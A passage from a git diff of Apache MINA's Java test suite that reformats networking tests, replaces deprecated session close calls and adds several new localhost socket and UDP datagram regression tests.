= 0; final int sessionCreatedInvoked = 1; final int sessionCreatedInvokedBeforeCallback = 2; - final boolean[] assertions = {false, false, false}; + final boolean[] assertions = { false, false, false }; final CountDownLatch latch = new CountDownLatch(2); final ConnectFuture[] callbackFuture = new ConnectFuture[1]; - + int port = AvailablePortFinder.getNextAvailable(1025); IoAcceptor acceptor = createAcceptor(); @@ -151,28 +153,31 @@ public void testSessionCallbackInvocation() throws Exception { acceptor.setHandler(new IoHandlerAdapter()); InetSocketAddress address = new InetSocketAddress(port); acceptor.bind(address); - + connector.setHandler(new IoHandlerAdapter() { - @Override + @Override public void sessionCreated(IoSession session) throws Exception { - assertions[sessionCreatedInvoked] = true; - assertions[sessionCreatedInvokedBeforeCallback] = !assertions[callbackInvoked]; - latch.countDown(); - } - }); - - ConnectFuture future = connector.connect(new InetSocketAddress("127.0.0.1", port), new IoSessionInitializer() { - public void initializeSession(IoSession session, ConnectFuture future) { - assertions[callbackInvoked] = true; - callbackFuture[0] = future; + assertions[sessionCreatedInvoked] = true; + assertions[sessionCreatedInvokedBeforeCallback] = !assertions[callbackInvoked]; latch.countDown(); } }); - - assertTrue("Timed out waiting for callback and IoHandler.sessionCreated to be invoked", latch.await(5, TimeUnit.SECONDS)); + + ConnectFuture future = connector.connect(new InetSocketAddress(InetAddress.getByName(null), port), + new IoSessionInitializer() { + public void initializeSession(IoSession session, ConnectFuture future) { + assertions[callbackInvoked] = true; + callbackFuture[0] = future; + latch.countDown(); + } + }); + + assertTrue("Timed out waiting for callback and IoHandler.sessionCreated to be invoked", + latch.await(5, TimeUnit.SECONDS)); assertTrue("Callback was not invoked", assertions[callbackInvoked]); assertTrue("IoHandler.sessionCreated was not invoked", assertions[sessionCreatedInvoked]); - assertFalse("IoHandler.sessionCreated was invoked before session callback", assertions[sessionCreatedInvokedBeforeCallback]); + assertFalse("IoHandler.sessionCreated was invoked before session callback", + assertions[sessionCreatedInvokedBeforeCallback]); assertSame("Callback future should have been same future as returned by connect", future, callbackFuture[0]); } finally { try { diff --git a/mina-core/src/test/java/org/apache/mina/transport/AbstractFileRegionTest.java b/mina-core/src/test/java/org/apache/mina/transport/AbstractFileRegionTest.java index 61389dd929..965822160f 100644 --- a/mina-core/src/test/java/org/apache/mina/transport/AbstractFileRegionTest.java +++ b/mina-core/src/test/java/org/apache/mina/transport/AbstractFileRegionTest.java @@ -48,19 +48,20 @@ public abstract class AbstractFileRegionTest { private static final int FILE_SIZE = 1 * 1024 * 1024; // 1MB file - + protected abstract IoAcceptor createAcceptor(); + protected abstract IoConnector createConnector(); @Test public void testSendLargeFile() throws Throwable { File file = createLargeFile(); assertEquals("Test file not as big as specified", FILE_SIZE, file.length()); - + final CountDownLatch latch = new CountDownLatch(1); - final boolean[] success = {false}; - final Throwable[] exception = {null}; - + final boolean[] success = { false }; + final Throwable[] exception = { null }; + int port = AvailablePortFinder.getNextAvailable(1025); IoAcceptor acceptor = createAcceptor(); IoConnector connector = createConnector(); @@ -68,19 +69,29 @@ public void testSendLargeFile() throws Throwable { try { acceptor.setHandler(new IoHandlerAdapter() { private int index = 0; + private ByteBuffer localBuffer = ByteBuffer.allocate(0); + @Override - public void exceptionCaught(IoSession session, Throwable cause) - throws Exception { + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { exception[0] = cause; - session.close(true); + session.closeNow(); } + @Override public void messageReceived(IoSession session, Object message) throws Exception { IoBuffer buffer = (IoBuffer) message; - while (buffer.hasRemaining()) { - int x = buffer.getInt(); + + // copy message to the local buffer (expand if necessary) + localBuffer.compact(); + localBuffer = copy(buffer.buf(), localBuffer); + localBuffer.flip(); + + while (localBuffer.remaining() >= 4) { + int x = localBuffer.getInt(); + if (x != index) { - throw new Exception(String.format("Integer at %d was %d but should have been %d", index, x, index)); + throw new Exception(String.format("Integer at %d was %d but should have been %d", index, x, + index)); } index++; } @@ -89,41 +100,41 @@ public void messageReceived(IoSession session, Object message) throws Exception } if (index == FILE_SIZE / 4) { success[0] = true; - session.close(true); + session.closeNow(); } } }); - - ((NioSocketAcceptor)acceptor).setReuseAddress(true); - + + ((NioSocketAcceptor) acceptor).setReuseAddress(true); + acceptor.bind(new InetSocketAddress(port)); - + connector.setHandler(new IoHandlerAdapter() { @Override - public void exceptionCaught(IoSession session, Throwable cause) - throws Exception { + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { exception[0] = cause; - session.close(true); + session.closeNow(); } + @Override public void sessionClosed(IoSession session) throws Exception { latch.countDown(); } }); - + ConnectFuture future = connector.connect(new InetSocketAddress("localhost", port)); future.awaitUninterruptibly(); - + IoSession session = future.getSession(); session.write(file); - + latch.await(); - + if (exception[0] != null) { throw exception[0]; } assertTrue("Did not complete file transfer successfully", success[0]); - + assertEquals("Written messages should be 1 (we wrote one file)", 1, session.getWrittenMessages()); assertEquals("Written bytes should match file size", FILE_SIZE, session.getWrittenBytes()); } finally { @@ -134,17 +145,61 @@ public void sessionClosed(IoSession session) throws Exception { } } } - + + /** + * Copies the remaining bytes of {@code src} into {@code dst}, growing the destination buffer first if it doesn't + * have enough remaining capacity to hold them. + *

    + * The {@code src} buffer's position, limit, and mark are not modified. The {@code dst} buffer's position is + * advanced by the number of bytes copied; if the buffer was grown, a new {@link ByteBuffer} instance is returned + * (the original {@code dst} reference becomes stale and must not be used further). + */ + public static ByteBuffer copy(ByteBuffer src, ByteBuffer dst) { + if (dst.remaining() < src.remaining()) { + int newCapacity = dst.position() + src.remaining(); + ByteBuffer newDst = dst.isDirect() ? ByteBuffer.allocateDirect(newCapacity) : ByteBuffer.allocate(newCapacity); + newDst.order(dst.order()); + + for (int i = 0; i < dst.position(); i++) { + newDst.put(dst.get(i)); + } + + dst = newDst; + } + + for (int i = src.position(); i < src.limit(); i++) { + dst.put(src.get(i)); + } + + return dst; + } + private File createLargeFile() throws IOException { File largeFile = File.createTempFile("mina-test", "largefile"); largeFile.deleteOnExit(); - FileChannel channel = new FileOutputStream(largeFile).getChannel(); - ByteBuffer buffer = createBuffer(); - channel.write(buffer); - channel.close(); + FileChannel channel = null; + FileOutputStream out = null; + + try { + out = new FileOutputStream(largeFile); + channel = out.getChannel(); + ByteBuffer buffer = createBuffer(); + channel.write(buffer); + channel.close(); + out.close(); + } finally { + if (channel != null) { + channel.close(); + } + + if (out != null) { + out.close(); + } + } + return largeFile; } - + private ByteBuffer createBuffer() { ByteBuffer buffer = ByteBuffer.allocate(FILE_SIZE); for (int i = 0; i < FILE_SIZE / 4; i++) { diff --git a/mina-core/src/test/java/org/apache/mina/transport/AbstractTrafficControlTest.java b/mina-core/src/test/java/org/apache/mina/transport/AbstractTrafficControlTest.java index bdc9eb27f2..5923626f91 100644 --- a/mina-core/src/test/java/org/apache/mina/transport/AbstractTrafficControlTest.java +++ b/mina-core/src/test/java/org/apache/mina/transport/AbstractTrafficControlTest.java @@ -20,6 +20,7 @@ package org.apache.mina.transport; import java.net.SocketAddress; +import java.nio.charset.StandardCharsets; import org.apache.mina.core.buffer.IoBuffer; import org.apache.mina.core.future.ConnectFuture; @@ -45,7 +46,9 @@ public abstract class AbstractTrafficControlTest { protected int port; + protected IoAcceptor acceptor; + protected TransportMetadata transportType; public AbstractTrafficControlTest(IoAcceptor acceptor) { @@ -65,10 +68,10 @@ public void tearDown() throws Exception { acceptor.dispose(); } - protected abstract ConnectFuture connect(int port, IoHandler handler) - throws Exception; + protected abstract ConnectFuture connect(int port, IoHandler handler) throws Exception; protected abstract SocketAddress createServerSocketAddress(int port); + protected abstract int getPort(SocketAddress address); @Test @@ -82,7 +85,7 @@ public void testSuspendResumeReadWrite() throws Exception { while (session.getAttribute("lock") == null) { Thread.yield(); } - + Object lock = session.getAttribute("lock"); synchronized (lock) { @@ -161,11 +164,11 @@ public void testSuspendResumeReadWrite() throws Exception { } - session.close(true).awaitUninterruptibly(); + session.closeNow().awaitUninterruptibly(); } private void write(IoSession session, String s) throws Exception { - session.write(IoBuffer.wrap(s.getBytes("ASCII"))); + session.write(IoBuffer.wrap(s.getBytes(StandardCharsets.US_ASCII))); } private int read(IoSession session) throws Exception { @@ -203,7 +206,7 @@ private static class ClientIoHandler extends IoHandlerAdapter { public ClientIoHandler() { super(); } - + @Override public void sessionCreated(IoSession session) throws Exception { super.sessionCreated(session); @@ -214,23 +217,20 @@ public void sessionCreated(IoSession session) throws Exception { } @Override - public void messageReceived(IoSession session, Object message) - throws Exception { + public void messageReceived(IoSession session, Object message) throws Exception { IoBuffer buffer = (IoBuffer) message; byte[] data = new byte[buffer.remaining()]; buffer.get(data); Object lock = session.getAttribute("lock"); synchronized (lock) { - StringBuffer sb = (StringBuffer) session - .getAttribute("received"); + StringBuffer sb = (StringBuffer) session.getAttribute("received"); sb.append(new String(data, "ASCII")); lock.notifyAll(); } } @Override - public void messageSent(IoSession session, Object message) - throws Exception { + public void messageSent(IoSession session, Object message) throws Exception { IoBuffer buffer = (IoBuffer) message; buffer.rewind(); byte[] data = new byte[buffer.remaining()]; @@ -248,10 +248,9 @@ private static class ServerIoHandler extends IoHandlerAdapter { public ServerIoHandler() { super(); } - + @Override - public void messageReceived(IoSession session, Object message) - throws Exception { + public void messageReceived(IoSession session, Object message) throws Exception { // Just echo the received bytes. IoBuffer rb = (IoBuffer) message; IoBuffer wb = IoBuffer.allocate(rb.remaining()); diff --git a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DIRMINA1041Test.java b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DIRMINA1041Test.java new file mode 100644 index 0000000000..0ddff99308 --- /dev/null +++ b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DIRMINA1041Test.java @@ -0,0 +1,149 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.transport.socket.nio; + +import org.apache.mina.core.buffer.IoBuffer; +import org.apache.mina.core.future.CloseFuture; +import org.apache.mina.core.future.ConnectFuture; +import org.apache.mina.core.future.WriteFuture; +import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.codec.ProtocolCodecFilter; +import org.apache.mina.filter.codec.textline.TextLineCodecFactory; +import org.apache.mina.transport.socket.SocketAcceptor; +import org.apache.mina.transport.socket.SocketConnector; +import org.apache.mina.util.AvailablePortFinder; +import org.junit.After; +import org.junit.Assert; +import org.junit.Before; +import org.junit.Test; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.net.InetSocketAddress; +import java.net.SocketAddress; + +public class DIRMINA1041Test { + + private static final Logger LOG = LoggerFactory.getLogger(DIRMINA1041Test.class); + private static final String HOST = "localhost"; + private static final int PORT = AvailablePortFinder.getNextAvailable(); + private static final long TIMEOUT = 10000L; + private static int counter = 0; + private SocketAcceptor acceptor; + private SocketConnector connector; + + @Before + public void setUp() throws Exception { + acceptor = new NioSocketAcceptor(); + acceptor.setReuseAddress(true); + acceptor.setHandler(new SomeAcceptHandler()); + acceptor.bind(new InetSocketAddress(HOST, PORT)); + + connector = new NioSocketConnector(); + connector.getSessionConfig().setReuseAddress(true); + connector.getFilterChain().addLast("codec", new ProtocolCodecFilter(new TextLineCodecFactory())); + connector.setHandler(new SomeConnectHandler()); + } + + @Test + public void testWrite() throws InterruptedException { + SocketAddress address = new InetSocketAddress(HOST, PORT); + + try { + for (int i = 0; i < 10000; i++) { + ConnectFuture future = connector.connect( address); + + if (!future.awaitUninterruptibly(TIMEOUT)) { + + Assert.fail("ConnectFuture did not complete."); + } + + IoSession session = future.getSession(); + + if ( i % 1000 == 0 ) { + System.out.println("Loop " + i +", counter = " + counter); + } + + WriteFuture writeFuture = session.write("Test" + i); + + //LOG.info("Waiting for WriteFuture to complete. Session: " + session); + if (!writeFuture.await(TIMEOUT)) { + LOG.info("WriteFuture did not complete. Session: " + session); + Assert.fail("WriteFuture did not complete. Session: " + session); + } + + CloseFuture closeFuture = session.closeOnFlush(); + + if (!closeFuture.awaitUninterruptibly(TIMEOUT)) { + Assert.fail("CloseFuture did not complete."); + } + + //Thread.sleep( 2 ); + } + } catch (Exception e) { + e.printStackTrace(); + } + + System.out.println("Done " + 100000 + " loops, counter = " + counter); + } + + @After + public void tearDown() throws Exception { + try { connector.dispose(true); } catch (Throwable e) { e.printStackTrace(); } + try { acceptor.unbind(); acceptor.dispose(true); } catch (Throwable e) { e.printStackTrace(); } + } + + private IoSession getSession() { + ConnectFuture future = connector.connect(new InetSocketAddress(HOST, PORT)); + if (!future.awaitUninterruptibly(TIMEOUT)) { + + Assert.fail("ConnectFuture did not complete."); + } + return future.getSession(); + } + + private void closeSession(IoSession session) { + CloseFuture closeFuture = session.closeNow(); + if (!closeFuture.awaitUninterruptibly(TIMEOUT)) { + Assert.fail("CloseFuture did not complete."); + } + } + + private class SomeConnectHandler extends IoHandlerAdapter { + @Override + public void sessionClosed(IoSession session) throws Exception { + //LOG.info("Connector - Session closed : " + session); + } + + public void messageSent(IoSession session, Object message) throws Exception { + //LOG.info("message sent : " + message); + } + } + + private class SomeAcceptHandler extends IoHandlerAdapter { + @Override + public void messageReceived(IoSession session, Object message) throws Exception { + //LOG.info("Message received : " + ((IoBuffer)message).toString() ); + counter++; + //session.closeNow(); + } + } +} diff --git a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DIRMINA1172Test.java b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DIRMINA1172Test.java new file mode 100644 index 0000000000..8bac372c38 --- /dev/null +++ b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DIRMINA1172Test.java @@ -0,0 +1,245 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.transport.socket.nio; + +import static org.junit.Assert.*; + +import java.io.IOException; +import java.net.DatagramPacket; +import java.net.DatagramSocket; +import java.net.InetAddress; +import java.net.InetSocketAddress; + +import org.apache.mina.core.filterchain.DefaultIoFilterChainBuilder; +import org.apache.mina.core.service.AbstractIoService; +import org.apache.mina.core.service.IoHandler; +import org.apache.mina.core.session.IdleStatus; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.FilterEvent; +import org.apache.mina.filter.logging.LoggingFilter; +import org.junit.Before; +import org.junit.Ignore; +import org.junit.Test; + +public class DIRMINA1172Test +{ + private static DatagramSocket socket; + private static InetAddress address; + private static byte[] buf; + + @Before + public void init() + { + AbstractIoService inputSource1 = new NioDatagramAcceptor(); + ((NioDatagramAcceptor) inputSource1).getSessionConfig().setReuseAddress(true); + DefaultIoFilterChainBuilder filterChainBuilderUDP = ((NioDatagramAcceptor)inputSource1).getFilterChain(); + filterChainBuilderUDP.addLast("logger", new LoggingFilter()); + + ((NioDatagramAcceptor) inputSource1).getSessionConfig().setIdleTime(IdleStatus.READER_IDLE, 100000); + ((NioDatagramAcceptor) inputSource1).setHandler( new IoHandler() + { + + @Override + public void sessionOpened( IoSession session ) throws Exception + { + // TODO Auto-generated method stub + + } + + + @Override + public void sessionIdle( IoSession session, IdleStatus status ) throws Exception + { + // TODO Auto-generated method stub + + } + + + @Override + public void sessionCreated( IoSession session ) throws Exception + { + // TODO Auto-generated method stub + + } + + + @Override + public void sessionClosed( IoSession session ) throws Exception + { + // TODO Auto-generated method stub + + } + + + @Override + public void messageSent( IoSession session, Object message ) throws Exception + { + // TODO Auto-generated method stub + + } + + + @Override + public void messageReceived( IoSession session, Object message ) throws Exception + { + // TODO Auto-generated method stub + System.out.println( "1"+session ); + + } + + + @Override + public void inputClosed( IoSession session ) throws Exception + { + // TODO Auto-generated method stub + + } + + + @Override + public void exceptionCaught( IoSession session, Throwable cause ) throws Exception + { + // TODO Auto-generated method stub + + } + + + @Override + public void event( IoSession session, FilterEvent event ) throws Exception + { + // TODO Auto-generated method stub + + } + }); + + AbstractIoService inputSource2 = new NioDatagramAcceptor(); + ((NioDatagramAcceptor) inputSource2).getSessionConfig().setReuseAddress(true); + DefaultIoFilterChainBuilder filterChainBuilderUDP2 = ((NioDatagramAcceptor)inputSource2).getFilterChain(); + filterChainBuilderUDP2.addLast("logger", new LoggingFilter()); + + ((NioDatagramAcceptor) inputSource2).getSessionConfig().setIdleTime(IdleStatus.READER_IDLE, 100000); + ((NioDatagramAcceptor) inputSource2).setHandler( new IoHandler() + { + + @Override + public void sessionOpened( IoSession session ) throws Exception + { + // TODO Auto-generated method stub + + } + + + @Override + public void sessionIdle( IoSession session, IdleStatus status ) throws Exception + { + // TODO Auto-generated method stub + + } + + + @Override + public void sessionCreated( IoSession session ) throws Exception + { + // TODO Auto-generated method stub + + } + + + @Override + public void sessionClosed( IoSession session ) throws Exception + { + // TODO Auto-generated method stub + + } + + + @Override + public void messageSent( IoSession session, Object message ) throws Exception + { + // TODO Auto-generated method stub + + } + + + @Override + public void messageReceived( IoSession session, Object message ) throws Exception + { + // TODO Auto-generated method stub + System.out.println( "2:"+session ); + + } + + + @Override + public void inputClosed( IoSession session ) throws Exception + { + // TODO Auto-generated method stub + + } + + + @Override + public void exceptionCaught( IoSession session, Throwable cause ) throws Exception + { + // TODO Auto-generated method stub + + } + + + @Override + public void event( IoSession session, FilterEvent event ) throws Exception + { + // TODO Auto-generated method stub + + } + }); + + try { + ((NioDatagramAcceptor)inputSource1).bind(new InetSocketAddress(9800)); + ((NioDatagramAcceptor)inputSource2).bind(new InetSocketAddress(9801)); + } catch (IOException e) { + //log.error("Failed to connect {}", e); + } + } + + @Test + @Ignore + public void test() throws InterruptedException, IOException + { + socket = new DatagramSocket(); + address = InetAddress.getByName("localhost"); + + int[] ports = new int[]{9800, 9801}; + + while(true) { + + for (int port : ports ) { + String msg = "TEST_" + port + " " + String.valueOf(System.currentTimeMillis()); + buf = msg.getBytes(); + DatagramPacket packet = new DatagramPacket(buf, buf.length, address, port); + socket.send(packet); + System.out.println("Send: " + msg); + } + + Thread.sleep(5000); + } + } + +} diff --git a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DIRMINA777Test.java b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DIRMINA777Test.java new file mode 100644 index 0000000000..630fe97fe5 --- /dev/null +++ b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DIRMINA777Test.java @@ -0,0 +1,94 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.transport.socket.nio; + +import static org.junit.Assert.assertEquals; + +import java.net.InetSocketAddress; +import java.util.concurrent.TimeUnit; + +import org.apache.mina.core.buffer.IoBuffer; +import org.apache.mina.core.future.ConnectFuture; +import org.apache.mina.core.future.ReadFuture; +import org.apache.mina.core.service.IoConnector; +import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.util.AvailablePortFinder; +import org.junit.Test; + +/** + * Tests a generic {@link IoConnector}. + * + * @author Apache MINA Project + */ +public class DIRMINA777Test { + + @Test + public void checkReadFuture() throws Throwable { + int port = AvailablePortFinder.getNextAvailable(); + NioSocketAcceptor acceptor = new NioSocketAcceptor(); + acceptor.setReuseAddress(true); + acceptor.setHandler(new IoHandlerAdapter() { + + @Override + public void sessionOpened(IoSession session) { + IoBuffer buffer = IoBuffer.allocate(1); + buffer.put((byte) 125); + buffer.rewind(); + session.write(buffer); + } + + }); + + acceptor.bind(new InetSocketAddress(port)); + + try { + IoConnector connector = new NioSocketConnector(); + connector.getSessionConfig().setUseReadOperation(true); + connector.setHandler(new IoHandlerAdapter()); + + try { + ConnectFuture connectFuture = connector.connect(new InetSocketAddress("localhost", port)); + connectFuture.awaitUninterruptibly(5L, TimeUnit.SECONDS); + + if (connectFuture.getException() != null) { + throw connectFuture.getException(); + } + + IoSession session = connectFuture.getSession(); + + ReadFuture readFuture = session.read(); + readFuture.awaitUninterruptibly(5L, TimeUnit.SECONDS); + + if (readFuture.getException() != null) { + throw readFuture.getException(); + } + + IoBuffer message = (IoBuffer) readFuture.getMessage(); + assertEquals(1, message.remaining()); + assertEquals(125, message.get()); + } finally { + connector.dispose(); + } + } finally { + acceptor.dispose(); + } + } +} diff --git a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramConfigTest.java b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramConfigTest.java index ff33e819ad..c9735c0525 100644 --- a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramConfigTest.java +++ b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramConfigTest.java @@ -22,6 +22,7 @@ import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertTrue; +import java.net.InetAddress; import java.net.InetSocketAddress; import org.apache.mina.core.buffer.IoBuffer; @@ -46,7 +47,9 @@ */ public class DatagramConfigTest { private IoAcceptor acceptor; + private IoConnector connector; + String result; public DatagramConfigTest() { @@ -59,7 +62,7 @@ public void setUp() throws Exception { acceptor = new NioDatagramAcceptor(); connector = new NioDatagramConnector(); } - + @After public void tearDown() throws Exception { acceptor.dispose(); @@ -78,16 +81,14 @@ public void testAcceptorFilterChain() throws Exception { try { connector.setHandler(new IoHandlerAdapter()); - ConnectFuture future = connector.connect( - new InetSocketAddress("127.0.0.1", port)); + ConnectFuture future = connector.connect(new InetSocketAddress(InetAddress.getByName(null), port)); future.awaitUninterruptibly(); - WriteFuture writeFuture = future.getSession().write( - IoBuffer.allocate(16).putInt(0).flip()); + WriteFuture writeFuture = future.getSession().write(IoBuffer.allocate(16).putInt(0).flip()); writeFuture.awaitUninterruptibly(); assertTrue(writeFuture.isWritten()); - future.getSession().close(true); + future.getSession().closeNow(); for (int i = 0; i < 30; i++) { if (result.length() == 2) { @@ -109,10 +110,9 @@ private class MockFilter extends IoFilterAdapter { public MockFilter() { super(); } - + @Override - public void messageReceived(NextFilter nextFilter, IoSession session, - Object message) throws Exception { + public void messageReceived(NextFilter nextFilter, IoSession session, Object message) throws Exception { result += "F"; nextFilter.messageReceived(session, message); } @@ -126,10 +126,9 @@ private class MockHandler extends IoHandlerAdapter { public MockHandler() { super(); } - + @Override - public void messageReceived(IoSession session, Object message) - throws Exception { + public void messageReceived(IoSession session, Object message) throws Exception { result += "H"; } } diff --git a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramPortUnreachableTest.java b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramPortUnreachableTest.java index 6df4e48097..51077f315a 100644 --- a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramPortUnreachableTest.java +++ b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramPortUnreachableTest.java @@ -41,40 +41,38 @@ public class DatagramPortUnreachableTest { Object mutex = new Object(); - + private void runTest(boolean closeOnPortUnreachable) throws Exception { IoConnector connector = new NioDatagramConnector(); connector.setHandler(new IoHandlerAdapter() { @Override - public void exceptionCaught(IoSession session, Throwable cause) - throws Exception { + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { if (cause instanceof PortUnreachableException) { - synchronized(mutex) { + synchronized (mutex) { mutex.notify(); } } } - + }); - ConnectFuture future = connector.connect(new InetSocketAddress("localhost", - AvailablePortFinder.getNextAvailable(20000))); + ConnectFuture future = connector.connect(new InetSocketAddress("localhost", AvailablePortFinder + .getNextAvailable(20000))); future.awaitUninterruptibly(); IoSession session = future.getSession(); - DatagramSessionConfig cfg = ((DatagramSessionConfig) session - .getConfig()); + DatagramSessionConfig cfg = ((DatagramSessionConfig) session.getConfig()); cfg.setUseReadOperation(true); cfg.setCloseOnPortUnreachable(closeOnPortUnreachable); - - synchronized(mutex) { + + synchronized (mutex) { session.write(IoBuffer.allocate(1)).awaitUninterruptibly().isWritten(); session.read(); mutex.wait(); } - + Thread.sleep(500); - + assertEquals(closeOnPortUnreachable, session.isClosing()); connector.dispose(); } diff --git a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramRecyclerTest.java b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramRecyclerTest.java index fbe8b81d08..38427084da 100644 --- a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramRecyclerTest.java +++ b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramRecyclerTest.java @@ -44,6 +44,7 @@ */ public class DatagramRecyclerTest { private NioDatagramAcceptor acceptor; + private NioDatagramConnector connector; public DatagramRecyclerTest() { @@ -76,18 +77,16 @@ public void testDatagramRecycler() throws Exception { try { connector.setHandler(connectorHandler); - ConnectFuture future = connector.connect(new InetSocketAddress( - "localhost", port)); + ConnectFuture future = connector.connect(new InetSocketAddress("localhost", port)); future.awaitUninterruptibly(); // Write whatever to trigger the acceptor. - future.getSession().write(IoBuffer.allocate(1)) - .awaitUninterruptibly(); + future.getSession().write(IoBuffer.allocate(1)).awaitUninterruptibly(); // Close the client-side connection. // This doesn't mean that the acceptor-side connection is also closed. // The life cycle of the acceptor-side connection is managed by the recycler. - future.getSession().close(true); + future.getSession().closeNow(); future.getSession().getCloseFuture().awaitUninterruptibly(); assertTrue(future.getSession().getCloseFuture().isClosed()); @@ -98,8 +97,7 @@ public void testDatagramRecycler() throws Exception { acceptorHandler.session.getCloseFuture().awaitUninterruptibly(3000); // Is it closed? - assertTrue(acceptorHandler.session.getCloseFuture() - .isClosed()); + assertTrue(acceptorHandler.session.getCloseFuture().isClosed()); Thread.sleep(1000); @@ -109,7 +107,7 @@ public void testDatagramRecycler() throws Exception { acceptor.unbind(); } } - + @Test public void testCloseRequest() throws Exception { int port = AvailablePortFinder.getNextAvailable(1024); @@ -125,10 +123,9 @@ public void testCloseRequest() throws Exception { try { connector.setHandler(connectorHandler); - ConnectFuture future = connector.connect(new InetSocketAddress( - "localhost", port)); + ConnectFuture future = connector.connect(new InetSocketAddress("localhost", port)); future.awaitUninterruptibly(); - + // Write whatever to trigger the acceptor. future.getSession().write(IoBuffer.allocate(1)).awaitUninterruptibly(); @@ -136,10 +133,9 @@ public void testCloseRequest() throws Exception { while (acceptorHandler.session == null) { Thread.yield(); } - acceptorHandler.session.close(true); - assertTrue( - acceptorHandler.session.getCloseFuture().awaitUninterruptibly(3000)); - + acceptorHandler.session.closeNow(); + assertTrue(acceptorHandler.session.getCloseFuture().awaitUninterruptibly(3000)); + IoSession oldSession = acceptorHandler.session; // Wait until all events are processed and clear the state. @@ -152,22 +148,20 @@ public void testCloseRequest() throws Exception { } acceptorHandler.result.setLength(0); acceptorHandler.session = null; - + // Write whatever to trigger the acceptor again. - WriteFuture wf = future.getSession().write( - IoBuffer.allocate(1)).awaitUninterruptibly(); + WriteFuture wf = future.getSession().write(IoBuffer.allocate(1)).awaitUninterruptibly(); assertTrue(wf.isWritten()); - + // Make sure the connection is closed before recycler closes it. while (acceptorHandler.session == null) { Thread.yield(); } - acceptorHandler.session.close(true); - assertTrue( - acceptorHandler.session.getCloseFuture().awaitUninterruptibly(3000)); + acceptorHandler.session.closeNow(); + assertTrue(acceptorHandler.session.getCloseFuture().awaitUninterruptibly(3000)); + + future.getSession().closeNow().awaitUninterruptibly(); - future.getSession().close(true).awaitUninterruptibly(); - assertNotSame(oldSession, acceptorHandler.session); } finally { acceptor.unbind(); @@ -176,6 +170,7 @@ public void testCloseRequest() throws Exception { private class MockHandler extends IoHandlerAdapter { public volatile IoSession session; + public final StringBuffer result = new StringBuffer(); /** @@ -184,24 +179,21 @@ private class MockHandler extends IoHandlerAdapter { public MockHandler() { super(); } - + @Override - public void exceptionCaught(IoSession session, Throwable cause) - throws Exception { + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { this.session = session; result.append("CA"); } @Override - public void messageReceived(IoSession session, Object message) - throws Exception { + public void messageReceived(IoSession session, Object message) throws Exception { this.session = session; result.append("RE"); } @Override - public void messageSent(IoSession session, Object message) - throws Exception { + public void messageSent(IoSession session, Object message) throws Exception { this.session = session; result.append("SE"); } @@ -219,8 +211,7 @@ public void sessionCreated(IoSession session) throws Exception { } @Override - public void sessionIdle(IoSession session, IdleStatus status) - throws Exception { + public void sessionIdle(IoSession session, IdleStatus status) throws Exception { this.session = session; result.append("ID"); } diff --git a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramSessionIdleTest.java b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramSessionIdleTest.java index 7289e20bd8..8d72bc1f73 100644 --- a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramSessionIdleTest.java +++ 